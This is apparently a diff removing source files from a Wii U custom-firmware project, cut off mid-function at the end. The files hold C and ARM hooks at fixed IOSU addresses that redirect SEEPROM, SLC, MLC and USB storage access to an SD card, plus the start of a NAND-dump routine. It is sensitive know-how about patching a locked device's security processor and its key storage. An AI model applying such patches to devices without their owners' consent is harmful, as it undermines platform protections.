||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "svc.h"
|
|
||||||
#include "fsa.h"
|
|
||||||
|
|
||||||
#define SD_SEEPROM_SECTOR 0x4FF
|
|
||||||
|
|
||||||
#define BSP_MEMCPY ((void * (*)(void *, void *, unsigned int size))0xE600EA18)
|
|
||||||
|
|
||||||
static int writeEnabled = 0;
|
|
||||||
static int dirty = 0;
|
|
||||||
|
|
||||||
unsigned char seeprom_buffer[512] __attribute__((section(".seeprom_buffer")));
|
|
||||||
|
|
||||||
extern int orig_EEPROM_SPI_ReadWord(int handle_index, unsigned char index, unsigned short *outbuf);
|
|
||||||
|
|
||||||
static int SD_EEPROM_WriteAll(void)
|
|
||||||
{
|
|
||||||
int fsa = svcOpen("/dev/fsa", 0);
|
|
||||||
if(fsa < 0)
|
|
||||||
return fsa;
|
|
||||||
|
|
||||||
int fd;
|
|
||||||
int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd);
|
|
||||||
if(res >= 0)
|
|
||||||
{
|
|
||||||
void *buffer = svcAllocAlign(0xCAFF, 0x200, 0x40);
|
|
||||||
if(buffer)
|
|
||||||
{
|
|
||||||
// user global buffer for FSA to be able to access it
|
|
||||||
BSP_MEMCPY(buffer, seeprom_buffer, 0x200);
|
|
||||||
res = FSA_RawWrite(fsa, buffer, 0x200, 1, SD_SEEPROM_SECTOR, fd);
|
|
||||||
svcFree(0xCAFF, buffer);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
res = -1;
|
|
||||||
|
|
||||||
FSA_RawClose(fsa, fd);
|
|
||||||
}
|
|
||||||
svcClose(fsa);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void EEPROM_InitializeCache(int handle_index)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
for(i = 0; i < 0x100; i++)
|
|
||||||
{
|
|
||||||
orig_EEPROM_SPI_ReadWord(handle_index, i, (unsigned short*)(seeprom_buffer + (i << 1)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int EEPROM_SPI_ReadWord(int handle_index, unsigned char index, unsigned short *outbuf)
|
|
||||||
{
|
|
||||||
unsigned int offset = ((unsigned int)index) << 1;
|
|
||||||
|
|
||||||
// check for valid eeprom dump and initialize if none was on sd card
|
|
||||||
if(*(u32*)(seeprom_buffer + 0x20) != 0x70010201) // PPC PVR
|
|
||||||
{
|
|
||||||
EEPROM_InitializeCache(handle_index); // could actually just use 0 for handle index
|
|
||||||
dirty = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// don't redirect the drive key as it is specific for the drive on the wii u
|
|
||||||
// the seeprom key is the same for all wiiu's it seems so nothing to re-encrypt here
|
|
||||||
if(offset >= 0x80 && offset < 0x90)
|
|
||||||
{
|
|
||||||
return orig_EEPROM_SPI_ReadWord(handle_index, index, outbuf);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!outbuf || (offset >= 512))
|
|
||||||
{
|
|
||||||
return -5;
|
|
||||||
}
|
|
||||||
|
|
||||||
*outbuf = *(unsigned short*)(seeprom_buffer + offset);
|
|
||||||
|
|
||||||
if(dirty && SD_EEPROM_WriteAll() == 0)
|
|
||||||
{
|
|
||||||
dirty = 0;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int EEPROM_SPI_WriteWord(int handle_index, unsigned char index, unsigned short data)
|
|
||||||
{
|
|
||||||
if(writeEnabled == 0)
|
|
||||||
{
|
|
||||||
return -5;
|
|
||||||
}
|
|
||||||
|
|
||||||
// check for valid eeprom dump and initialize if none was on sd card
|
|
||||||
if(*(u32*)(seeprom_buffer + 0x20) != 0x70010201) // PPC PVR
|
|
||||||
{
|
|
||||||
EEPROM_InitializeCache(handle_index); // could actually just use 0 for handle index
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned int offset = ((unsigned int)index) << 1;
|
|
||||||
|
|
||||||
if(offset >= 512)
|
|
||||||
{
|
|
||||||
return -5;
|
|
||||||
}
|
|
||||||
|
|
||||||
*(unsigned short*)(seeprom_buffer + offset) = data;
|
|
||||||
dirty = 1;
|
|
||||||
|
|
||||||
if(SD_EEPROM_WriteAll() == 0)
|
|
||||||
{
|
|
||||||
dirty = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int EEPROM_WriteControl(int handle_index, int type)
|
|
||||||
{
|
|
||||||
if(type == 1)
|
|
||||||
{
|
|
||||||
writeEnabled = 0;
|
|
||||||
}
|
|
||||||
else if(type == 2)
|
|
||||||
{
|
|
||||||
writeEnabled = 1;
|
|
||||||
}
|
|
||||||
else if(type == 3)
|
|
||||||
{
|
|
||||||
// erase all -> skip that part...its actually never used but would be only a memset with 0xFF
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
return -4;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
@ -1,9 +0,0 @@
|
|||||||
.section ".text"
|
|
||||||
.arm
|
|
||||||
|
|
||||||
.globl orig_EEPROM_SPI_ReadWord
|
|
||||||
orig_EEPROM_SPI_ReadWord:
|
|
||||||
cmp r0, #0
|
|
||||||
ldr r3, [pc]
|
|
||||||
bx r3
|
|
||||||
.word 0xE600D090
|
|
@ -1,21 +0,0 @@
|
|||||||
#ifndef SVC_H
|
|
||||||
#define SVC_H
|
|
||||||
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
void* ptr;
|
|
||||||
u32 len;
|
|
||||||
u32 unk;
|
|
||||||
}iovec_s;
|
|
||||||
|
|
||||||
void* svcAlloc(u32 heapid, u32 size);
|
|
||||||
void* svcAllocAlign(u32 heapid, u32 size, u32 align);
|
|
||||||
void svcFree(u32 heapid, void* ptr);
|
|
||||||
int svcOpen(char* name, int mode);
|
|
||||||
int svcClose(int fd);
|
|
||||||
int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len);
|
|
||||||
int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,45 +0,0 @@
|
|||||||
.section ".text"
|
|
||||||
.arm
|
|
||||||
.align 4
|
|
||||||
|
|
||||||
.global svcAlloc
|
|
||||||
.type svcAlloc, %function
|
|
||||||
svcAlloc:
|
|
||||||
.word 0xE7F027F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcAllocAlign
|
|
||||||
.type svcAllocAlign, %function
|
|
||||||
svcAllocAlign:
|
|
||||||
.word 0xE7F028F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcFree
|
|
||||||
.type svcFree, %function
|
|
||||||
svcFree:
|
|
||||||
.word 0xE7F029F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcOpen
|
|
||||||
.type svcOpen, %function
|
|
||||||
svcOpen:
|
|
||||||
.word 0xE7F033F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcClose
|
|
||||||
.type svcClose, %function
|
|
||||||
svcClose:
|
|
||||||
.word 0xE7F034F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcIoctl
|
|
||||||
.type svcIoctl, %function
|
|
||||||
svcIoctl:
|
|
||||||
.word 0xE7F038F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcIoctlv
|
|
||||||
.type svcIoctlv, %function
|
|
||||||
svcIoctlv:
|
|
||||||
.word 0xE7F039F0
|
|
||||||
bx lr
|
|
@ -1,29 +0,0 @@
|
|||||||
#ifndef TYPES_H
|
|
||||||
#define TYPES_H
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#define U64_MAX UINT64_MAX
|
|
||||||
|
|
||||||
typedef uint8_t u8;
|
|
||||||
typedef uint16_t u16;
|
|
||||||
typedef uint32_t u32;
|
|
||||||
typedef uint64_t u64;
|
|
||||||
|
|
||||||
typedef int8_t s8;
|
|
||||||
typedef int16_t s16;
|
|
||||||
typedef int32_t s32;
|
|
||||||
typedef int64_t s64;
|
|
||||||
|
|
||||||
typedef volatile u8 vu8;
|
|
||||||
typedef volatile u16 vu16;
|
|
||||||
typedef volatile u32 vu32;
|
|
||||||
typedef volatile u64 vu64;
|
|
||||||
|
|
||||||
typedef volatile s8 vs8;
|
|
||||||
typedef volatile s16 vs16;
|
|
||||||
typedef volatile s32 vs32;
|
|
||||||
typedef volatile s64 vs64;
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,80 +0,0 @@
|
|||||||
ifeq ($(strip $(DEVKITARM)),)
|
|
||||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
|
||||||
endif
|
|
||||||
|
|
||||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
|
||||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
|
||||||
endif
|
|
||||||
|
|
||||||
CC = arm-none-eabi-gcc
|
|
||||||
LINK = arm-none-eabi-gcc
|
|
||||||
AS = arm-none-eabi-as
|
|
||||||
OBJCOPY = arm-none-eabi-objcopy
|
|
||||||
OBJDUMP = arm-none-eabi-objdump
|
|
||||||
CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os
|
|
||||||
LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld
|
|
||||||
LIBDIRS += -L$(CURDIR)/../libs
|
|
||||||
LIBS += -lgcc
|
|
||||||
|
|
||||||
CFILES = $(wildcard source/*.c)
|
|
||||||
BINFILES = $(wildcard data/*.bin)
|
|
||||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
|
||||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
|
||||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
|
||||||
SFILES = $(wildcard source/*.s)
|
|
||||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
|
||||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
|
||||||
CWD = "$(CURDIR)""
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# canned command sequence for binary data, taken from devkitARM
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
define bin2o
|
|
||||||
bin2s $< | $(AS) -EB -o $(@)
|
|
||||||
endef
|
|
||||||
|
|
||||||
.PHONY:=all dirs
|
|
||||||
|
|
||||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
|
|
||||||
dirs:
|
|
||||||
@mkdir -p build
|
|
||||||
|
|
||||||
$(PROJECTNAME).elf: $(OFILES)
|
|
||||||
@echo "LD $@"
|
|
||||||
@$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS)
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
|
||||||
@echo "OBJCOPY $@\n"
|
|
||||||
@$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@
|
|
||||||
|
|
||||||
$(PROJECTNAME).bin.h: $(PROJECTNAME).bin
|
|
||||||
@xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
|
||||||
|
|
||||||
$(PROJECTNAME)_syms.h:
|
|
||||||
@echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@
|
|
||||||
@echo "#define $(PROJECTNAME)_SYMS_H" >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@
|
|
||||||
@$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@
|
|
||||||
@echo "#endif" >> $@
|
|
||||||
|
|
||||||
clean:
|
|
||||||
@rm -f build/*.o build/*.d
|
|
||||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h
|
|
||||||
@echo "all cleaned up !"
|
|
||||||
|
|
||||||
-include $(DFILES)
|
|
||||||
|
|
||||||
build/%.o: source/%.c
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.o: source/%.s
|
|
||||||
@echo "CC $(notdir $<)"
|
|
||||||
@$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
|
||||||
@$(CC) -MM $< > build/$*.d
|
|
||||||
|
|
||||||
build/%.bin.o: data/%.bin
|
|
||||||
@echo "BIN $(notdir $<)"
|
|
||||||
@$(bin2o)
|
|
@ -1,26 +0,0 @@
|
|||||||
OUTPUT_ARCH(arm)
|
|
||||||
|
|
||||||
SECTIONS
|
|
||||||
{
|
|
||||||
.text (0x10700000 + 0x000F8200) : {
|
|
||||||
_text_start = .;
|
|
||||||
*(.text*);
|
|
||||||
*(.rodata*);
|
|
||||||
}
|
|
||||||
_text_end = .;
|
|
||||||
|
|
||||||
.bss (0x10835000 + 0x1406554) : {
|
|
||||||
_bss_start = .;
|
|
||||||
*(.bss*);
|
|
||||||
*(COMMON);
|
|
||||||
}
|
|
||||||
.io_buffer : ALIGN(0x40) {
|
|
||||||
*(.io_buffer*);
|
|
||||||
}
|
|
||||||
_bss_end = .;
|
|
||||||
|
|
||||||
/DISCARD/ : {
|
|
||||||
*(*);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
@ -1,150 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include "types.h"
|
|
||||||
#include "devices.h"
|
|
||||||
#include "imports.h"
|
|
||||||
#include "sdio.h"
|
|
||||||
#include "text.h"
|
|
||||||
|
|
||||||
void * getMdDeviceById(int deviceId)
|
|
||||||
{
|
|
||||||
if(deviceId == DEVICE_ID_SDCARD_PATCHED)
|
|
||||||
{
|
|
||||||
return (void*)FS_MMC_SDCARD_STRUCT;
|
|
||||||
}
|
|
||||||
else if(deviceId == DEVICE_ID_MLC)
|
|
||||||
{
|
|
||||||
return (void*)FS_MMC_MLC_STRUCT;
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
int registerMdDevice_hook(void * md, int arg2, int arg3)
|
|
||||||
{
|
|
||||||
u32 *mdStruct = (u32*)md;
|
|
||||||
|
|
||||||
if((md != 0) && (mdStruct[2] == (u32)FS_MMC_SDCARD_STRUCT))
|
|
||||||
{
|
|
||||||
sdcard_lock_mutex();
|
|
||||||
FS_MMC_SDCARD_STRUCT[0x24/4] = FS_MMC_SDCARD_STRUCT[0x24/4] & (~0x20);
|
|
||||||
|
|
||||||
int result = FS_REGISTERMDPHYSICALDEVICE(md, arg2, arg3);
|
|
||||||
|
|
||||||
sdcard_unlock_mutex();
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
return FS_REGISTERMDPHYSICALDEVICE(md, arg2, arg3);
|
|
||||||
}
|
|
||||||
|
|
||||||
int getPhysicalDeviceHandle(u32 device)
|
|
||||||
{
|
|
||||||
u32 handleSize = 0x204;
|
|
||||||
u8 *handleBase = (u8*)(0x1091C2EC + device * handleSize);
|
|
||||||
u16 adrLow = (*(u16*)&handleBase[6]);
|
|
||||||
return ((device << 16) | adrLow);
|
|
||||||
}
|
|
||||||
|
|
||||||
//! read1(void *physical_device_info, int offset_high, int offset_low, int cnt, int block_size, void *data_outptr, void *callback, int callback_parameter)
|
|
||||||
int readWriteCallback_patch(int is_read, int offset_offset, int offset_low, int cnt, int block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
int result_arg = 0;
|
|
||||||
int result = sdcard_readwrite(is_read, data_outptr, cnt, block_size, offset_offset + offset_low, &result_arg, DEVICE_ID_SDCARD_PATCHED);
|
|
||||||
|
|
||||||
if((result == 0) && (callback != 0))
|
|
||||||
{
|
|
||||||
callback(result_arg, callback_parameter);
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
//! USB redirection
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
static int usbReadWrite_patch(int is_read, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return readWriteCallback_patch(is_read, USB_BASE_SECTORS, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int usbRead_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return usbReadWrite_patch(SDIO_READ, offset_high, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int usbWrite_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return usbReadWrite_patch(SDIO_WRITE, offset_high, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
//! SDIO redirection
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
static int sdcardReadWrite_patch(void *physical_device_info, int is_read, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
u32 offset_offset;
|
|
||||||
u32 *phys_dev = (u32*)physical_device_info;
|
|
||||||
|
|
||||||
if(phys_dev[0x14/4] != DEVICE_TYPE_SDCARD)
|
|
||||||
{
|
|
||||||
offset_offset = MLC_BASE_SECTORS;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
offset_offset = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return readWriteCallback_patch(is_read, offset_offset, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int sdcardRead_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return sdcardReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int sdcardWrite_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return sdcardReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
//! SLC redirection
|
|
||||||
//!-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
|
||||||
static int slcReadWrite_patch(void *physical_device_info, int is_read, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
u32 offset_offset;
|
|
||||||
u32 *phys_dev = (u32*)physical_device_info;
|
|
||||||
|
|
||||||
if(phys_dev[1] != 0)
|
|
||||||
{
|
|
||||||
// physical_device_info = 0x11C381CC
|
|
||||||
offset_offset = (u32)(((u64)SLC_BASE_SECTORS * (u64)SDIO_BYTES_PER_SECTOR) / SLC_BYTES_PER_SECTOR);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// physical_device_info = 0x11C37668
|
|
||||||
offset_offset = (u32)(((u64)SLCCMPT_BASE_SECTORS * (u64)SDIO_BYTES_PER_SECTOR) / SLC_BYTES_PER_SECTOR);
|
|
||||||
}
|
|
||||||
|
|
||||||
return readWriteCallback_patch(is_read, offset_offset, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int slcRead1_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return slcReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int slcWrite1_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return slcReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int slcRead2_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, int ukn1, void *data_outptr, int ukn2, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return slcReadWrite_patch(physical_device_info, SDIO_READ, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
||||||
int slcWrite2_patch(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, int ukn1, void *data_outptr, int ukn2, read_write_callback_t callback, int callback_parameter)
|
|
||||||
{
|
|
||||||
return slcReadWrite_patch(physical_device_info, SDIO_WRITE, offset_low, cnt, block_size, data_outptr, callback, callback_parameter);
|
|
||||||
}
|
|
||||||
|
|
@ -1,110 +0,0 @@
|
|||||||
#ifndef DEVICES_H_
|
|
||||||
#define DEVICES_H_
|
|
||||||
|
|
||||||
#define DEVICE_ID_SDCARD_REAL 0x43
|
|
||||||
#define DEVICE_ID_SDCARD_PATCHED 0xDA
|
|
||||||
|
|
||||||
#define DEVICE_ID_MLC 0xAB
|
|
||||||
|
|
||||||
#define SDIO_BYTES_PER_SECTOR 512
|
|
||||||
#define MLC_BYTES_PER_SECTOR 512
|
|
||||||
#define SLC_BYTES_PER_SECTOR 2048
|
|
||||||
|
|
||||||
#define SLC_BASE_SECTORS (0x000500)
|
|
||||||
#define SLCCMPT_BASE_SECTORS (0x100500)
|
|
||||||
#define MLC_BASE_SECTORS (0x200500)
|
|
||||||
|
|
||||||
#define USB_BASE_SECTORS (0x2720000)
|
|
||||||
#define SYSLOG_BASE_SECTORS (0x6D00000)
|
|
||||||
#define DUMPDATA_BASE_SECTORS (SYSLOG_BASE_SECTORS + (0x40000 / SDIO_BYTES_PER_SECTOR))
|
|
||||||
|
|
||||||
#define SLC_SECTOR_COUNT 0x40000
|
|
||||||
#define MLC_8GB_SECTOR_COUNT 0xE90000
|
|
||||||
#define MLC_32GB_SECTOR_COUNT 0x3A3E000 //0x3A20000
|
|
||||||
|
|
||||||
#define MLC_NAND_TYPE_32GB 0
|
|
||||||
#define MLC_NAND_TYPE_8GB 1
|
|
||||||
|
|
||||||
#define NAND_DUMP_SIGNATURE_SECTOR 0x01
|
|
||||||
#define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP
|
|
||||||
|
|
||||||
#define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC '
|
|
||||||
#define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2'
|
|
||||||
#define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC '
|
|
||||||
|
|
||||||
enum NodeTypes
|
|
||||||
{
|
|
||||||
NODE_TYPE_DEV_DF = 0,
|
|
||||||
NODE_TYPE_DEV_ATFS = 1,
|
|
||||||
NODE_TYPE_DEV_ISFS = 2,
|
|
||||||
NODE_TYPE_DEV_WFS = 3,
|
|
||||||
NODE_TYPE_DEV_PCFS = 4,
|
|
||||||
NODE_TYPE_DEV_RBFS = 5,
|
|
||||||
NODE_TYPE_DEV_FAT = 6,
|
|
||||||
NODE_TYPE_DEV_FLA = 7,
|
|
||||||
NODE_TYPE_DEV_UMS = 8,
|
|
||||||
NODE_TYPE_DEV_AHCIMGR = 9,
|
|
||||||
NODE_TYPE_DEV_SHDD = 10,
|
|
||||||
NODE_TYPE_DEV_MD = 11,
|
|
||||||
NODE_TYPE_DEV_SCFM = 12,
|
|
||||||
NODE_TYPE_DEV_MMC = 13,
|
|
||||||
NODE_TYPE_DEV_TIMETRACE = 14,
|
|
||||||
NODE_TYPE_DEV_TCP_PCFS = 15
|
|
||||||
};
|
|
||||||
|
|
||||||
enum DeviceTypes
|
|
||||||
{
|
|
||||||
DEVICE_TYPE_SI = 0x01,
|
|
||||||
DEVICE_TYPE_ODD = 0x02,
|
|
||||||
DEVICE_TYPE_SLCCMPT = 0x03,
|
|
||||||
DEVICE_TYPE_SLC = 0x04,
|
|
||||||
DEVICE_TYPE_MLC = 0x05,
|
|
||||||
DEVICE_TYPE_SDCARD = 0x06,
|
|
||||||
DEVICE_TYPE_SD = 0x07,
|
|
||||||
DEVICE_TYPE_HFIO = 0x08,
|
|
||||||
DEVICE_TYPE_RAMDISK = 0x09,
|
|
||||||
DEVICE_TYPE_USB = 0x11,
|
|
||||||
DEVICE_TYPE_MLCORIG = 0x12
|
|
||||||
};
|
|
||||||
|
|
||||||
enum FsTypes
|
|
||||||
{
|
|
||||||
FS_TYPE_RAW = 0x8003,
|
|
||||||
FS_TYPE_FAT = 0x8004,
|
|
||||||
FS_TYPE_WFS = 0x8005,
|
|
||||||
FS_TYPE_ISFS = 0x8006,
|
|
||||||
FS_TYPE_ATFS = 0x8007
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct _fs_attach_info_t
|
|
||||||
{
|
|
||||||
struct _fs_attach_info_t* next;
|
|
||||||
u16 fs_type;
|
|
||||||
u16 unkn_flags2;
|
|
||||||
u32 zeros[2];
|
|
||||||
int (*fsAttach)(void *dev_struct, int unkn_one);
|
|
||||||
u8 allowed_devices[0x0C];
|
|
||||||
} fs_attach_info_t;
|
|
||||||
|
|
||||||
typedef struct _stdio_nand_desc_t
|
|
||||||
{
|
|
||||||
u32 nand_type; // nand type
|
|
||||||
u32 base_sector; // base sector of dump
|
|
||||||
u32 sector_count; // sector count in SDIO sectors
|
|
||||||
} __attribute__((packed))stdio_nand_desc_t;
|
|
||||||
|
|
||||||
typedef struct _sdio_nand_signature_sector_t
|
|
||||||
{
|
|
||||||
u64 signature; // HAXXDUMP
|
|
||||||
stdio_nand_desc_t nand_descriptions[3];
|
|
||||||
} __attribute__((packed)) sdio_nand_signature_sector_t;
|
|
||||||
|
|
||||||
|
|
||||||
typedef void (*read_write_callback_t)(int, int);
|
|
||||||
|
|
||||||
int getPhysicalDeviceHandle(u32 device);
|
|
||||||
|
|
||||||
int slcRead1_original(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter);
|
|
||||||
int sdcardRead_original(void *physical_device_info, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter);
|
|
||||||
|
|
||||||
#endif // DEVICES_H_
|
|
@ -1,322 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include "types.h"
|
|
||||||
#include "imports.h"
|
|
||||||
#include "devices.h"
|
|
||||||
#include "sdio.h"
|
|
||||||
#include "mlcio.h"
|
|
||||||
#include "fat32_format.h"
|
|
||||||
#include "text.h"
|
|
||||||
#include "hardware_registers.h"
|
|
||||||
#include "svc.h"
|
|
||||||
#include "../../common/kernel_commands.h"
|
|
||||||
|
|
||||||
// the IO buffer is put behind everything else because there is no access to this region from IOS-FS it seems
|
|
||||||
unsigned char io_buffer[0x40000] __attribute__((aligned(0x40))) __attribute__((section(".io_buffer")));
|
|
||||||
|
|
||||||
//! this one is required for the read function
|
|
||||||
static void slc_read_callback(int result, int priv)
|
|
||||||
{
|
|
||||||
int *private_data = (int*)priv;
|
|
||||||
private_data[1] = result;
|
|
||||||
FS_SVC_RELEASEMUTEX(private_data[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
static int srcRead(void* deviceHandle, void *data_ptr, u32 offset, u32 sectors, int * result_array)
|
|
||||||
{
|
|
||||||
int readResult = slcRead1_original(deviceHandle, 0, offset, sectors, SLC_BYTES_PER_SECTOR, data_ptr, slc_read_callback, (int)result_array);
|
|
||||||
if(readResult == 0)
|
|
||||||
{
|
|
||||||
// wait for process to finish
|
|
||||||
FS_SVC_ACQUIREMUTEX(result_array[0], 0);
|
|
||||||
readResult = result_array[1];
|
|
||||||
}
|
|
||||||
return readResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
void slc_dump(void *deviceHandle, const char* device, u32 base_sectors, int y_offset)
|
|
||||||
{
|
|
||||||
//also create a mutex for synchronization with end of operation...
|
|
||||||
int sync_mutex = FS_SVC_CREATEMUTEX(1, 1);
|
|
||||||
FS_SVC_ACQUIREMUTEX(sync_mutex, 0);
|
|
||||||
|
|
||||||
int result_array[2];
|
|
||||||
result_array[0] = sync_mutex;
|
|
||||||
|
|
||||||
